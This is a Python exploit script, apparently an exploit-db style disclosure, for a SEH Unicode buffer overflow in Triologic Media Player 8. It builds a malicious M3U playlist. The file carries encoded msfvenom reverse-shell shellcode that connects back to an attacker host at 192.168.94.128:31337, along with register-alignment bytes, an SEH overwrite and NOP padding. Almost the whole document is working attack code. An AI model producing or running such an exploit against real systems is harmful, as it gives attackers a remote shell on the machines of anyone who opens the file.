#!/usr/bin/env python

#-------------------------------------------------------------------------------#
# Exploit: Triologic Media Player 8  SEH Unicode Buffer Overflow                #
# OS: Tested XP PRO SP3 (Professional)                                          #
# Author: Amonsec                                                               #
# Software: https://www.exploit-db.com/apps/                                    #
#                   4e68d370d54180157bf1b578407848f4-triomp8setup.exe           #
#-------------------------------------------------------------------------------#

filename = 'rekt.m3u'

#------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -e x86/unicode_upper BufferRegister=EAX #
#------------------------------------------------------------------------------------------------------------------------------------------#
shellcode = ''
shellcode += 'PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1'
shellcode += 'AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB'
shellcode += 'AB30APB944JBKLJH3RKPKPKP30TIZENQ7P1TTK20NPTKB2LLTKPRLTDK42O'
shellcode += '8LO87OZNF01KOVLOL1Q3LM2NLO0GQHOLMKQI7YRKBR227TK22LPTKPJOLTK'
shellcode += '0LN1D8YS0HKQ8Q21DKPYMPM1Z3DKOYLXJCNZQ9DKP4DKM1HVNQKO6LGQ8OL'
shellcode += 'MM1WWNXYP3EJVLCCMZXOKCMNDRU9TB8DKB8O4M1ICBF4KLLPKDK28MLM1HS'
shellcode += '4KKT4KKQZ0E914NDO4QK1KQQR9PZR1KOYPQO1OPZ4KLRZK4MQMS8OCNRKPK'
shellcode += 'PS83GBSNRQO2438PL2WNFLGKO8UX8TPM1M0KPO9940TB0RHNICPBKM0KOHU'
shellcode += 'R0B0B00POP0P10PP38JJLO9OIPKOZ54WRJKUBHI0W8QNCPC8KRKP3J2I3YY'
shellcode += 'V1ZN01FR72HEIG5D431KOXUU5I03DLLKO0NKX3EJL38L0GEURPVKOIES8QS'
shellcode += '2MBDKPTIYSR7QGR7P1KF2JN2291FK2KMS6WWQ4MTOLM1M1DMOTNDLP7VKPQ'
shellcode += '4PT0P1FPV26PFR60N26PVPS0VQXRYXLOOE6KOZ5U9YPPN26PFKO00C8M857'
shellcode += 'MM30KOXUGKJPFU721FQXUV4UGM5MKOYEOLLFSLKZU0KKYP45KU7KOWN3D22'
shellcode += 'OQZM00SKOJ5AA'

#----------------------------------------------------------------------------------#
# (1) Crash to nseh 536-bytes                                                      #
# (2) nshe = '\x41\x00\xf1\x00'                                                    #
# (3) seh = '\xf2\x00\x41\x00'	pop pop ret | [triomp8.exe]                        #
# (4) Align EBX register                                                           #
# (5) Add NOPs till the beginning of the shellcode                                 #
# (6) Shellcode space = 3592                                                       #
#----------------------------------------------------------------------------------#
align = ''
align += '\x53'             # push ebx
align += '\x71'             # nop
align += '\x58'             # pop eax
align += '\x71'             # nop
align += '\x05\x20\x11'     # add eax, 0x11002000 \
align += '\x71'             # nop                  |> +200
align += '\x2d\x18\x11'     # sub eax, 0x11001800 /
align += '\x71'             # nop
align += '\x50'             # push eax
align += '\x71'             # nop
align += '\xc3'             # retn

buffer = ''
buffer += '\x90' * 536
buffer += '\x41\xf1'        # popad + nop
buffer += '\xf2\x41'        # put 0x41007100
buffer += align
buffer += '\x90' * 89       # Filter
buffer += shellcode
buffer += '\x90' * (5000 - 4 - 536 - len(align) - 89 - len(shellcode))

data = open(filename, 'w')
data.write(buffer)
data.close()
print '[*] File created'
print '[*] Buffer size: {}'.format(len(buffer))
